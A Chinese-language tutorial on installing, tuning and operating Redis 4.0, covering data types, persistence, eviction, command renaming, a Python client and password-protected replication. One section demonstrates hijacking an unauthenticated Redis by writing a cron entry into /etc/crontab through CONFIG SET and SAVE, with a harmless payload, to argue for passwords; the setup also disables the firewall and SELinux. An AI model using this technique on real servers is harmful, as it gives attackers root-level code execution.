Redis4.0介绍和使用

文章目录


一、redis介绍与环境部署

1.1 什么是redis

Redis(Remote Dictionary Server)是一个开源的内存中数据结构存储系统,它可以用作数据库、缓存和消息中间件。它支持多种数据结构,包括字符串(Strings)、哈希(Hashes)、列表(Lists)、集合(Sets)、有序集合(Sorted Sets)等。Redis的特点包括:

  1. 内存存储:Redis的数据存储在内存中,因此读写速度非常快。它也可以将数据异步写入磁盘,以实现持久化。

  2. 支持多种数据结构:Redis支持丰富的数据结构,可以满足各种场景下的需求,例如缓存、计数器、消息队列等。

  3. 持久化:Redis支持将数据持久化到磁盘,以便在服务器重启时恢复数据。它提供了两种持久化方式:快照(Snapshot)和日志(Append-only file)。

  4. 高可用性:Redis支持主从复制(Master-Slave Replication),可以通过复制实现数据的备份和读写分离,提高系统的可用性和扩展性。

  5. 事务支持:Redis支持事务,可以将多个命令打包成一个原子操作执行,保证操作的一致性。

  6. 原子性操作:Redis的命令是原子性的,即一个命令的执行不会被其他命令中断,确保数据的完整性。

  7. 发布/订阅功能:Redis支持发布/订阅模式,可以实现消息的发布和订阅,用于构建分布式系统中的通信机制。

  8. 灵活的配置:Redis提供了丰富的配置选项,可以根据实际需求对其进行灵活配置和调优。

由于Redis具有高性能、灵活性和可靠性等特点,因此在诸如缓存、会话存储、实时分析、消息队列等各种场景下被广泛应用

1.2 部署环境

主机名IP用途
redis01192.168.100.165redis-master
[root@Redis01 ~]# cat /etc/redhat-release 
CentOS Linux release 7.5.1804 (Core) 

[root@Redis01 ~]# uname -r
3.10.0-862.3.3.el7.x86_64

[root@Redis01 ~]# systemctl disable firewalld --now

[root@Redis01 ~]# setenforce 0
setenforce: SELinux is disabled

[root@Redis01 ~]# sestatus
SELinux status: disabled

二、Redis 4.0源码编译安装

2.1 redis下载地址

https://redis.io/download

2.2 编译安装

[root@Redis01 ~]# yum -y install wget gcc gcc-c++ make tar openssl openssl-devel cmake

[root@Redis01 ~]# tar xf redis-4.0.11.tar.gz -C /usr/src/
[root@Redis01 ~]# cd /usr/src/redis-4.0.11/
[root@Redis01 redis-4.0.11]# make                   # 编译Redis源码
[root@Redis01 redis-4.0.11]# make MALLOC=jemalloc   # 编译使用jemalloc内存分配器
[root@Redis01 redis-4.0.11]# make PREFIX=/usr/local/redis install   # 安装到指定目录

[root@Redis01 redis-4.0.11]# cd /usr/local/redis/
[root@Redis01 redis]# ls
bin

[root@Redis01 redis]# mkdir -p /usr/local/redis/conf
[root@Redis01 redis]# cp /usr/src/redis-4.0.11/redis.conf /usr/local/redis/conf/
[root@Redis01 redis]# cp /usr/src/redis-4.0.11/sentinel.conf /usr/local/redis/conf/

[root@Redis01 src]# ln -s /usr/local/redis/bin/* /usr/local/bin/   # 创建符号链接到可执行文件

[root@Redis01 src]# which redis-server   # 查找redis-server的安装路径
/usr/local/bin/redis-server

[root@Redis01 src]# redis-server --version   # 查看redis-server版本信息
Redis server v=4.0.11 sha=00000000:0 malloc=jemalloc-4.0.3 bits=64 build=feb84973011f5402

[root@Redis01 src]# redis-cli --version   # 查看redis-cli版本信息
redis-cli 4.0.11

三、Redis 启动和优化

3.1 优化配置文件

[root@Redis01 redis]# pwd
/usr/local/redis

[root@Redis01 redis]# cp conf/redis.conf{,.bak}   # 备份原始的redis.conf文件
[root@Redis01 redis]# egrep -v "^$|^#" conf/redis.conf.bak > conf/redis.conf   # 去除空行和注释行后生成简化的redis.conf文件

[root@Redis01 redis]# mkdir -p /data/redis/   # 创建redis数据目录

3.2 修配redis.conf

[root@Redis01 redis]# cat -n conf/redis.conf | sed -n '1p;3p;4p;7p;9p;11p'
     1  bind 127.0.0.1
     3  port 6379
     4  tcp-backlog 511
     7  daemonize no
     9  pidfile /var/run/redis_6379.pid
    11  logfile ""
    21  dir ./

[root@Redis01 redis]# cat conf/redis.conf > conf/redis.conf.bak   # 备份原始的redis.conf文件

[root@Redis01 redis]# sed -i 's/^bind .*/bind 0.0.0.0/' conf/redis.conf   # 修改监听地址为0.0.0.0
[root@Redis01 redis]# sed -i 's/^port .*/port 6379/' conf/redis.conf   # 修改监听端口为6379
[root@Redis01 redis]# sed -i 's/^tcp-backlog .*/tcp-backlog 1024/' conf/redis.conf   # 修改TCP连接数为1024
[root@Redis01 redis]# sed -i 's/^daemonize .*/daemonize yes/' conf/redis.conf   # 修改是否后台启动为是
[root@Redis01 redis]# sed -i 's|^pidfile .*|pidfile /data/redis/redis.pid|' conf/redis.conf   # 修改pid文件存放目录为/data/redis/redis.pid
[root@Redis01 redis]# sed -i 's|^logfile ""|logfile "/data/redis/redis.log"|' conf/redis.conf   # 修改日志文件存放目录为/data/redis/redis.log
[root@Redis01 redis]# sed -i 's|^dir .*|dir /data/redis/|' conf/redis.conf   # 修改工作目录为/data/redis/

这个过程修改了Redis的配置文件/usr/local/redis/conf/redis.conf中的特定参数。首先通过sed命令将原始的配置文件中的参数替换成新的设置,实现了以下修改:

  • bind参数修改为0.0.0.0,表示Redis将监听所有的网络接口。
  • port参数修改为6379,表示Redis将监听的端口号。
  • tcp-backlog参数修改为1024,表示TCP连接数。
  • daemonize参数修改为yes,表示Redis将以守护进程的方式运行。
  • pidfile参数修改为/data/redis/redis.pid,表示Redis的PID文件存放目录。
  • logfile参数修改为/data/redis/redis.log,表示Redis的日志文件存放目录。
  • dir参数修改为/data/redis/,表示Redis的工作目录。

3.3 Redis 启动和关闭

[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf   # 启动Redis服务器
[root@Redis01 ~]# netstat -antup | grep redis   # 查看Redis服务器监听的端口

tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      18455/redis-server  

[root@Redis01 ~]# redis-cli shutdown   # 关闭Redis服务器
[root@Redis01 ~]# netstat -antup | grep redis   # 确认Redis服务器已关闭

[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf   # 再次启动Redis服务器
[root@Redis01 ~]# redis-cli -h 127.0.0.1   # 连接到Redis服务器
127.0.0.1:6379>    # 进入Redis命令行交互界面
127.0.0.1:6379> exit   # 退出Redis命令行交互界面

展示了如何启动、关闭和连接Redis服务器。首先使用redis-server命令启动Redis服务器,并指定配置文件路径。然后通过netstat命令检查Redis服务器是否成功监听了指定的端口。接着使用redis-cli shutdown命令关闭Redis服务器,并再次通过netstat命令确认服务器已关闭。最后再次启动Redis服务器,并通过redis-cli命令连接到服务器,进行命令行交互操作,最后使用exit退出交互界面。

3.4 参数优化调整

[root@Redis01 ~]# echo "* - nofile 10240" >> /etc/security/limits.conf   # 将文件描述符限制设置为10240
[root@Redis01 ~]# exit   # 退出当前登录会话,使新的文件描述符限制生效
[root@Redis01 ~]# ulimit -n   # 检查文件描述符限制是否已经生效,预期结果为10240

[root@Redis01 ~]# sysctl -a | grep somaxconn   # 查看当前系统的TCP连接数限制
net.core.somaxconn = 128

[root@Redis01 ~]# echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf   # 将TCP连接数限制设置为10240
[root@Redis01 ~]# sysctl -p   # 重新加载sysctl.conf配置文件使修改生效
net.core.somaxconn = 10240

[root@Redis01 ~]# echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf   # 将内存分配策略设置为允许超额抢占
[root@Redis01 ~]# sysctl -p   # 重新加载sysctl.conf配置文件使修改生效
vm.overcommit_memory = 1

[root@Redis01 ~]# echo never > /sys/kernel/mm/transparent_hugepage/enabled   # 禁用巨大内存页支持
[root@Redis01 ~]# cat /sys/kernel/mm/transparent_hugepage/enabled   # 检查巨大内存页支持是否已禁用
always madvise [never]

[root@Redis01 ~]# echo never > /sys/kernel/mm/transparent_hugepage/defrag   # 禁用巨大内存页支持的碎片整理
[root@Redis01 ~]# cat /sys/kernel/mm/transparent_hugepage/defrag   # 检查巨大内存页支持的碎片整理是否已禁用
always madvise [never]

[root@Redis01 ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' >> /etc/rc.local   # 将禁用巨大内存页支持的命令添加到/etc/rc.local文件,以便开机自动执行
[root@Redis01 ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/defrag' >> /etc/rc.local   # 将禁用巨大内存页支持碎片整理的命令添加到/etc/rc.local文件,以便开机自动执行
[root@Redis01 ~]# tail -2 /etc/rc.local   # 检查命令是否已添加到/etc/rc.local文件
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag

这个过程对系统进行了优化调整,主要包括:

  1. 增加了文件描述符限制到10240,以满足Redis等高性能软件对文件描述符数量的需求。
  2. 将TCP连接数限制设置为10240,以提高系统的并发连接能力。
  3. 将内存分配策略设置为允许超额抢占,以确保后台保存操作不会受到限制。
  4. 禁用了系统内核的巨大内存页支持,以避免与Redis的性能冲突,并将禁用命令添加到开机自启动项中,以确保系统重启后这些设置仍然有效。

四、Redis使用

4.1 使用redis-cli客户端登陆redis-server:


[root@Redis01 ~]# redis-cli   # 连接到本地Redis服务器
127.0.0.1:6379> exit   # 退出客户端
[root@Redis01 ~]# redis-cli -h localhost -p 6379   # 以指定主机和端口连接到Redis服务器
localhost:6379> exit   # 退出客户端

4.2 Redis字符串操作

[root@Redis01 ~]# redis-cli   # 连接到本地Redis服务器
127.0.0.1:6379> set name Mr.chen   # 添加键(key)和值(value)
OK
127.0.0.1:6379> get name   # 根据键获取值
"Mr.chen"
127.0.0.1:6379> set name yunjisuan   # 修改键的值
OK
127.0.0.1:6379> get name   # 再次获取键的值
"yunjisuan"
127.0.0.1:6379> del name   # 删除键
(integer) 1
127.0.0.1:6379> GET name   # 使用不区分大小写的命令获取键的值,返回nil代表键不存在
(nil)
127.0.0.1:6379> set NAME test   # 添加键名为大写的键和值
OK
127.0.0.1:6379> get name   # 获取小写键名的值,返回nil
(nil)
127.0.0.1:6379> get NAME   # 区分大小写地获取大写键名的值
"test"

4.3 非交互式操作Redis服务器

[root@Redis01 ~]# redis-cli set name welcome   # 设置键为welcome的值为welcome
OK
[root@Redis01 ~]# redis-cli get name   # 获取键为name的值,返回welcome
"welcome"
[root@Redis01 ~]# redis-cli del name   # 删除键为name的键值对,返回1表示删除成功
(integer) 1
[root@Redis01 ~]# redis-cli get name   # 再次获取已删除的键的值,返回nil
(nil)

这个过程展示了如何使用redis-cli客户端与Redis服务器进行交互,包括登陆服务器、进行字符串操作、以及非交互式操作。通过这些操作,可以对Redis进行键值对的增删改查等操作。

五、Reids 列表集合简单操作

5.1 Redis列表的操作

连接到Redis服务器并执行以下操作:

[root@Redis01 ~]# redis-cli
127.0.0.1:6379> lpush names yun1    # 从左侧向列表names推入值yun1
(integer) 1
127.0.0.1:6379> lpush names yun2    # 从左侧向列表names推入值yun2
(integer) 2
127.0.0.1:6379> lrange names 0 -1   # 查看列表names所有值
1) "yun2"
2) "yun1"

在上述操作中,lpush命令用于将值推入列表的左侧,lrange命令用于检索列表中的所有值。其他操作与此类似。

5.2 Redis集合的操作

连接到Redis服务器并执行以下操作:

127.0.0.1:6379> sadd ages 25     # 向集合ages中添加元素25
(integer) 1
127.0.0.1:6379> sadd ages 30     # 向集合ages中添加元素30
(integer) 1
127.0.0.1:6379> smembers ages    # 查看集合ages中的所有元素
1) "25"
2) "30"

在上述操作中,sadd命令用于向集合添加元素,smembers命令用于检索集合中的所有元素。其他操作与此类似。

在这些示例中,我们展示了如何使用Redis的列表和集合。列表是有序的、可重复的元素的集合,而集合是无序的、不重复的元素的集合。通过这些命令,可以方便地对Redis中的数据进行操作和管理。

六、Redis 的bash和订阅

6.1 Redis的hash操作

使用redis-cli连接到Redis服务器并执行以下操作:

127.0.0.1:6379> hset info name 'yunjisuan'  # 设置hash中的键值对
(integer) 1
127.0.0.1:6379> hset info age 25
(integer) 1
127.0.0.1:6379> hset info location 'beijing'
(integer) 1
127.0.0.1:6379> hgetall info    # 获取hash中的所有键值对
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"
127.0.0.1:6379> hget info name  # 获取指定键的值
"yunjisuan"
127.0.0.1:6379> hdel info name age   # 删除指定的键
(integer) 2
127.0.0.1:6379> hgetall info    # 再次查看hash中的所有键值对
1) "location"
2) "beijing"
127.0.0.1:6379> del info         # 删除整个hash
(integer) 1
127.0.0.1:6379> hmset info name 'yunjisuan' age 25 location 'beijing'  # 批量设置hash中的键值对
OK
127.0.0.1:6379> hgetall info    # 再次获取hash中的所有键值对
1) "name"
2) "yunjisuan"
3) "age"
4) "25"
5) "location"
6) "beijing"

6.2 Redis的订阅操作

在两个不同的终端窗口中执行以下操作:

# 终端1:开启redis的订阅功能
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> subscribe yunjisuan  # 订阅频道名为yunjisuan的消息
Reading messages... (press Ctrl-C to quit)
1) "subscribe"
2) "yunjisuan"
3) (integer) 1

# 终端2:向频道yunjisuan发布消息
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> publish yunjisuan 'welcome'  # 向频道yunjisuan推送消息welcome
(integer) 2   # 推送成功的订阅者数量
127.0.0.1:6379> publish yunjisuan '很高兴'
(integer) 2
127.0.0.1:6379> publish yunjisuan 'welcome'
(integer) 3

通过hash操作,我们可以方便地存储和检索多个键值对的组合,类似于Python中的字典。而通过订阅操作,我们可以将消息发布到指定的频道,并由订阅者接收这些消息,实现简单的消息传递功能。

七、使用循环批量添加数据

7.1 使用Shell批量往Redis服务器上插入数据

[root@Redis01 ~]# for line in $(seq -w 50); do redis-cli set name_${line} value_${line}; done

7.2 查看key的情况

127.0.0.1:6379> keys *        # 查看所有key命令,不建议使用,上千万的key会使Redis服务器堵塞
127.0.0.1:6379> randomkey    # 随机返回一个key
"name_44"
127.0.0.1:6379> randomkey
"name_01"
127.0.0.1:6379> scan 0        # 分页查看key
1) "44"
2)  1) "name_34"
    2) "name_13"
    3) "name_15"
    4) "name_39"
    5) "name_42"
    6) "names"
    7) "name_18"
    8) "name_43"
    9) "name_32"
   10) "name_50"

在Redis中,使用keys *命令查看所有的key时会返回所有匹配的key,但是不建议在生产环境中使用,特别是当key数量非常多时,这个操作可能会导致Redis服务器堵塞。相反,可以使用randomkey命令随机返回一个key,或者使用scan命令进行分页查看key。

八、Redis info信息查看

# 使用redis-cli命令查看Redis服务器的状态信息
[root@Redis01 ~]# redis-cli info

# Server 服务器的信息
redis_version:4.0.11
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:feb84973011f5402
redis_mode:standalone
os:Linux 3.10.0-862.3.3.el7.x86_64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:4.8.5
process_id:19450
run_id:119ba49e27f25b118aaeb8829c60f32771906687
tcp_port:6379
uptime_in_seconds:88667
uptime_in_days:1
hz:10
lru_clock:7188187
executable:/root/redis-server
config_file:/usr/local/redis/conf/redis.conf

# Clients 已连接客户端信息
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0

# Memory 内存信息
used_memory:853016
used_memory_human:833.02K
used_memory_rss:2457600
used_memory_rss_human:2.34M
used_memory_peak:931760
used_memory_peak_human:909.92K
used_memory_peak_perc:91.55%
used_memory_overhead:838934
used_memory_startup:786592
used_memory_dataset:14082
used_memory_dataset_perc:21.20%
total_system_memory:1021898752
total_system_memory_human:974.56M
used_memory_lua:37888
used_memory_lua_human:37.00K
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
mem_fragmentation_ratio:2.88
mem_allocator:jemalloc-4.0.3
active_defrag_running:0
lazyfree_pending_objects:0

# Persistence 持久化相关信息
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1533913162
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:0
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:303104
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0

# Stats 一般统计信息
total_connections_received:129
total_commands_processed:226
instantaneous_ops_per_sec:0
total_net_input_bytes:8324
total_net_output_bytes:192093
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:29
keyspace_misses:3
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:92
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0

# Replication 主从信息
role:master
connected_slaves:0
master_replid:3a56d66723917199a5a86317dfecefda5588c0cc
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU CPU相关信息
used_cpu_sys:16.81
used_cpu_user:8.75
used_cpu_sys_children:0.02
used_cpu_user_children:0.00

# Cluster 集群相关信息
cluster_enabled:0

# Keyspace 数据库相关信息
db0:keys=55,expires=0,avg_ttl=0

这是从Redis服务器获取的状态信息示例。通过redis-cli info命令,可以获取Redis服务器的各种信息,包括服务器版本、运行模式、内存使用情况、持久化信息、统计信息、主从复制信息等。

九、Reids有无密码安全度

9.1 给Redis增加密码的两种方式

通过Redis配置文件增加密码


```bash
[root@Redis01 ~]# echo 'requirepass "yunjisuan"' >> /usr/local/redis/conf/redis.conf

重启Redis:

[root@Redis01 ~]# redis-cli shutdown
[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf

验证密码:

[root@Redis01 ~]# redis-cli
127.0.0.1:6379> keys *
(error) NOAUTH Authentication required. # 需要验证才能查看,密码起作用了
127.0.0.1:6379> auth yunjisuan      # 通过auth 密码的方式进行验证
OK

使用交互式的方式给Redis增加密码(无需重启Redis)

删除配置文件中的密码参数:

[root@Redis01 ~]# sed -i '$d' /usr/local/redis/conf/redis.conf

重启Redis:

[root@Redis01 ~]# redis-cli -a yunjisuan shutdown
[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf

交互式登录Redis并设置密码:

[root@Redis01 ~]# redis-cli
127.0.0.1:6379> config get requirepass              # 获取Redis配置的密码信息
1) "requirepass"
2) ""               # 此时密码为空
127.0.0.1:6379> config set requirepass yunjisuan    # 给Redis设置密码
OK
127.0.0.1:6379> auth yunjisuan              # 进行密码验证
OK
127.0.0.1:6379> config get requirepass      # 查看密码配置信息
1) "requirepass"
2) "yunjisuan"      # 现在有密码了
127.0.0.1:6379> config rewrite              # 将配置重写进行保存
OK

9.2 入侵无密码Redis服务器演示

[root@Redis01 ~]# redis-cli -h 127.0.0.1 config set dir /etc/
OK
[root@Redis01 ~]# redis-cli -h 127.0.0.1 config set dbfilename "crontab"
OK
[root@Redis01 ~]# echo "* * * * * root echo 'attack'" >> /tmp/attack
[root@Redis01 ~]# cat /tmp/attack   # 这个文件内容上下必须各有两个回车

* * * * * root echo 'attack'


[root@Redis01 ~]# cat /tmp/attack | redis-cli -h 127.0.0.1 -x set attack
OK
[root@Redis01 ~]# redis-cli -h 127.0.0.1 save
OK

查看/etc/crontab文件,会发现已经被注入了一条恶意定时任务,Redis被成功攻击。

[root@Redis01 ~]# cat /etc/crontab 
REDIS0008   redis-ver4.0.11
略

* * * * * root echo 'attack'        # 这里出现了这条定时任务,这条任务每分钟都会被触发

/etc/crontab文件中,出现了一条恶意的定时任务:

* * * * * root echo 'attack'

这条任务每分钟都会执行一次,并输出 ‘attack’,说明Redis服务器已经被成功攻击。

这里演示了给Redis服务器增加密码的两种方式,以及演示了无密码Redis服务器被入侵的过程。在生产环境中,务必要给Redis设置密码以提高安全性。

十、Redis的RDB储存方式

10.1 Redis的运行方式说明

Redis可以以不同的方式运行,包括关闭所有持久化存储、开启RDB(Redis Database)或AOF(Append Only File)持久化存储。关闭持久化存储会导致Redis重启后数据丢失。RDB和AOF都会对性能产生影响,因此建议将持久化操作放在从库上进行。

10.2 Redis RDB存储方式

#与RDB相关的配置文件信息如下:
- dir /data/redis/:RDB存储的路径
- dbfilename dump.rdb:RDB存储文件的名字
- save 60 10000:当60秒内有10000个键发生改变时,触发RDB存储
- save 300 10:当300秒内有10个键发生改变时,触发RDB存储
- save 900 1:当900秒内有1个键发生改变时,触发RDB存储
- rdbcompression no:最好关闭RDB压缩,因为会影响CPU性能

10.3 设置开启或关闭RDB存储

关闭RDB存储:

[root@Redis01 ~]# redis-cli config set save ""
OK
[root@Redis01 ~]# redis-cli config rewrite
OK

开启RDB存储:

[root@Redis01 ~]# redis-cli config set save "180 1 120 10 60 10000"
OK
[root@Redis01 ~]# redis-cli config rewrite
OK

10.4 进行数据写入,观察RDB存储日志

# 输入1万条数据
for line in `seq -w 10000`; do
    redis-cli set key_${line} value1_${line};
done

这段代码通过循环设置了一万条数据到 Redis 中,每个键值对的键名格式为 key_XXXXX,其中 XXXXX 是从 0000110000 的五位数字,对应的值为 value1_XXXXX

写入10000条数据后,触发了RDB存储。日志信息总结如下:

  • 10000条数据改变在60秒内,触发了RDB存储
  • 后台进程开始进行RDB存储
  • 存储成功结束

10.5 使用bgsave命令触发RDB存储,观察存储日志

执行阻塞式保存命令:

[root@Redis01 ~]# redis-cli save
OK

执行后台保存命令:

[root@Redis01 ~]# redis-cli bgsave
Background saving started

通过bgsave命令可以立即触发RDB存储,而不会阻塞前端客户端数据输入。日志信息如下:

  • 使用save命令触发了存储
  • 使用bgsave命令后台启动了新进程进行存储
  • 存储成功结束

十一、Reids 的AOF存储方式

11.1 动态开启或者关闭AOF

redis-cli config set appendonly yes   # 开启AOF持久化
redis-cli config rewrite              # 保存配置
redis-cli config set appendonly no    # 关闭AOF持久化
redis-cli config rewrite              # 保存配置

11.2 写入数据,观察AOF。多次运行,AOF文件不断增大,RDB文件大小不变

# 查看AOF和RDB文件大小
du -sh appendonly.aof 
du -sh dump.rdb 

# 写入数据
for line in `seq -w 100`; do
    redis-cli set key_${line} value_${line};
done

# 查看AOF和RDB文件大小
du -sh appendonly.aof 
du -sh dump.rdb 

11.3 重写AOF文件,整理相同的key,写入最后的有效值

# 清空AOF文件
> appendonly.aof 
ls
du -sh appendonly.aof 

# 手动触发AOF重写
redis-cli bgrewriteaof
du -sh appendonly.aof 

# 清空AOF文件
> appendonly.aof 
du -sh appendonly.aof 

# 设置和获取AOF自动重写配置
redis-cli config set auto-aof-rewrite-min-size 100000
redis-cli config get auto-aof-rewrite*
redis-cli config rewrite

# 测试AOF自动重写
for line in `seq -w 1000`; do
    redis-cli set key2_${line} value2_${line};
done
du -sh appendonly.aof 

for line in `seq -w 1000`; do
    redis-cli del key2_${line} value2_${line};
done
du -sh appendonly.aof 

在Redis中,AOF(Append Only File)持久化存储会记录每次写操作,类似于MySQL的binlog。可以动态开启或关闭AOF持久化。在进行数据写入时,AOF文件会不断增大,而RDB文件大小不会改变。

AOF文件的重写能够整理相同的key,仅记录最后的有效值,从而减小文件体积。可以手动触发AOF重写,也可以配置自动触发重写机制。默认情况下,AOF重写会在AOF文件大小达到一定阈值时自动触发。

十二、Redis内存设置和删除算法

# 手动清空redis里所有数据
redis-cli flushall

12.1 redis的键设置有效期,过期自动删除

# 设置键名为name的键值为yunjisuan
redis-cli set name yunjisuan
# 查看键名为name的键的剩余存活时间(TTL)
redis-cli ttl name
# 设置键名为name的键的过期时间为10秒
redis-cli expire name 10
# 查看键名为name的键的剩余存活时间(TTL)
redis-cli ttl name

12.2 查看和设置最大内存限制

# 查看当前的最大内存限制
redis-cli config get maxmemory
# 将最大内存限制设置为1M
redis-cli config set maxmemory 1M
# 再次查看最大内存限制
redis-cli config get maxmemory

12.3 可选择的删除算法

# 查看当前的内存清理算法
redis-cli config get maxmemory-policy
# 将删除算法设置为volatile-lru
redis-cli config set maxmemory-policy volatile-lru
# 再次查看删除算法
redis-cli config get maxmemory-policy

12.4 模拟超过内存

# 设置大量键值对,使内存超过限制
for line in `seq -w 10000`; do
    redis-cli set key_${line} value_${line};
done

12.5 设置删除算法

# 将删除算法设置为volatile-lru
redis-cli config set maxmemory-policy volatile-lru
# 再次查看删除算法
redis-cli config get maxmemory-policy

## 算法测试
# 获取指定键名的键值
redis-cli get key_00111
# 设置键名为key_00111的键的过期时间为3600秒
redis-cli expire key_00111 3600
# 查看键名为key_00111的键的剩余存活时间(TTL)
redis-cli ttl key_00111
# 再次获取指定键名的键值(已过期)
redis-cli get key_00111

十三、Redis 禁用危险命令

# redis禁用的命令
# FLUSHALL和FLUSHDB会清除redis的数据,比较危险
# KEYS在键过多的时候使用会阻塞业务请求

# redis禁用危险命令配置代码如下(写入配置文件即可,此配置无法平滑更新)
# 将配置加入redis.conf配置文件
echo 'rename-command  FLUSHALL ""' >> /usr/local/redis/conf/redis.conf
echo 'rename-command  FLUSHDB ""' >> /usr/local/redis/conf/redis.conf
echo 'rename-command  KEYS ""' >> /usr/local/redis/conf/redis.conf
tail -3 /usr/local/redis/conf/redis.conf

# 重启redis-server进行测试
redis-cli shutdown
redis-server /usr/local/redis/conf/redis.conf

# 测试被屏蔽的危险命令
redis-cli flushall
redis-cli flushdb
redis-cli
127.0.0.1:6379> keys *

十四、使用Python操作Redis

# Python安装redis扩展
yum -y install epel-release
yum -y install python2-pip
pip install redis

# 利用python进行redis数据的读写
python
>>> import redis
>>> r = redis.Redis(host='127.0.0.1', port=6379, password='yunjisuan', db=0)
>>> r.set('key_test', 'value_test')
True
>>> value = r.get('key_test')
>>> print(value)
value_test
>>> exit()
redis-cli -a yunjisuan get key_test
Warning: Using a password with '-a' option on the command line interface may not be safe.
"value_test"

十五、Reids主从

15.1 Redis主从服务器环境的搭建

主机名IP用途
redis01192.168.100.165redis-master
redis02192.168.100.164redis-slaveA
redis03192.168.100.163redis-slaveB

15.2 环境要求与Redis基础编译部署调优

# 操作系统环境要求
cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core) 
uname -r
3.10.0-862.3.3.el7.x86_64

# 关闭防火墙和SELinux
systemctl stop firewalld
systemctl disable firewalld
setenforce 0
sestatus

# 安装编译所需依赖
yum -y install wget gcc gcc-c++ make tar openssl openssl-devel cmake

# 下载、编译、安装Redis
tar xf redis-4.0.11.tar.gz -C /usr/src/
cd /usr/src/redis-4.0.11/
make
make MALLOC=jemalloc
make PREFIX=/usr/local/redis install

# 创建工作目录和配置文件
cd /usr/local/redis/
mkdir -p conf
cp /usr/src/redis-4.0.11/redis.conf /usr/local/redis/conf/
cp /usr/src/redis-4.0.11/sentinel.conf /usr/local/redis/conf/
ln -s /usr/local/redis/bin/* /usr/local/bin/

# 修改Redis配置文件
sed -i 's/^bind 127.0.0.1/bind 0.0.0.0/' conf/redis.conf
sed -i 's/^port 6379/port 6379/' conf/redis.conf
sed -i 's/^tcp-backlog 511/tcp-backlog 1024/' conf/redis.conf
sed -i 's/^daemonize no/daemonize yes/' conf/redis.conf
sed -i 's/^pidfile \/var\/run\/redis_6379.pid/pidfile \/data\/redis\/redis.pid/' conf/redis.conf
sed -i 's/^logfile ""/logfile "\/data\/redis\/redis.log"/' conf/redis.conf
sed -i 's/^dir .\//dir \/data\/redis\//' conf/redis.conf

# 基础调优设置
echo "* - nofile 10240" >> /etc/security/limits.conf 
echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf 
echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf 
sysctl -p
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag
echo 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' >> /etc/rc.local
echo 'echo never > /sys/kernel/mm/transparent_hugepage/defrag' >> /etc/rc.local

# 启动Redis服务器
redis-server /usr/local/redis/conf/redis.conf
netstat -antup | grep redis

15.3 Redis主从同步服务器搭建

# 在从库上配置主从同步
redis-cli shutdown
echo "SLAVEOF 192.168.200.165 6379" >> /usr/local/redis/conf/redis.conf
> /data/redis/redis.log 
redis-server /usr/local/redis/conf/redis.conf
netstat -antup | grep redis

15.4 加密主从同步

为redis-master平滑设置连接密码

[root@Redis01 ~]# redis-cli config get requirepass
1) "requirepass"
2) ""
[root@Redis01 ~]# redis-cli config set requirepass 'yunjisuan'
OK
[root@Redis01 ~]# redis-cli config get requirepass
(error) NOAUTH Authentication required.
[root@Redis01 ~]# redis-cli -a yunjisuan config get requirepass
Warning: Using a password with '-a' option on the command line interface may not be safe.
1) "requirepass"
2) "yunjisuan"
[root@Redis01 ~]# redis-cli -a yunjisuan config rewrite
Warning: Using a password with '-a' option on the command line interface may not be safe.
OK

解释:

  • 首先,检查当前Redis主节点是否设置了连接密码,结果显示未设置。
  • 使用config set requirepass 'yunjisuan'命令为Redis主节点设置连接密码为’yunjisuan’。
  • 然后再次检查连接密码,但由于已设置密码,需要通过认证才能执行此命令,所以出现了"NOAUTH Authentication required."的错误。
  • 使用带有密码参数-a yunjisuanredis-cli命令再次检查连接密码,成功显示了设置的密码。
  • 最后,使用相同带有密码参数的redis-cli命令重新加载配置,确保配置文件中也包含了新设置的密码。

为从库提供主从同步密码验证

[root@Redis02 ~]# redis-cli config get masterauth
1) "masterauth"
2) ""
[root@Redis02 ~]# redis-cli config set masterauth "yunjisuan"
OK
[root@Redis02 ~]# redis-cli config get masterauth
1) "masterauth"
2) "yunjisuan"
[root@Redis02 ~]# redis-cli config rewrite
OK

解释:

  • 首先,检查当前Redis从节点是否设置了主从同步的认证密码,结果显示未设置。
  • 使用config set masterauth "yunjisuan"命令为Redis从节点设置了主从同步的认证密码为’yunjisuan’。
  • 然后再次检查主从同步认证密码,确保设置成功。
  • 最后,重新加载配置文件,确保配置文件中也包含了新设置的主从同步认证密码。
  • 30
    点赞
  • 17
    收藏
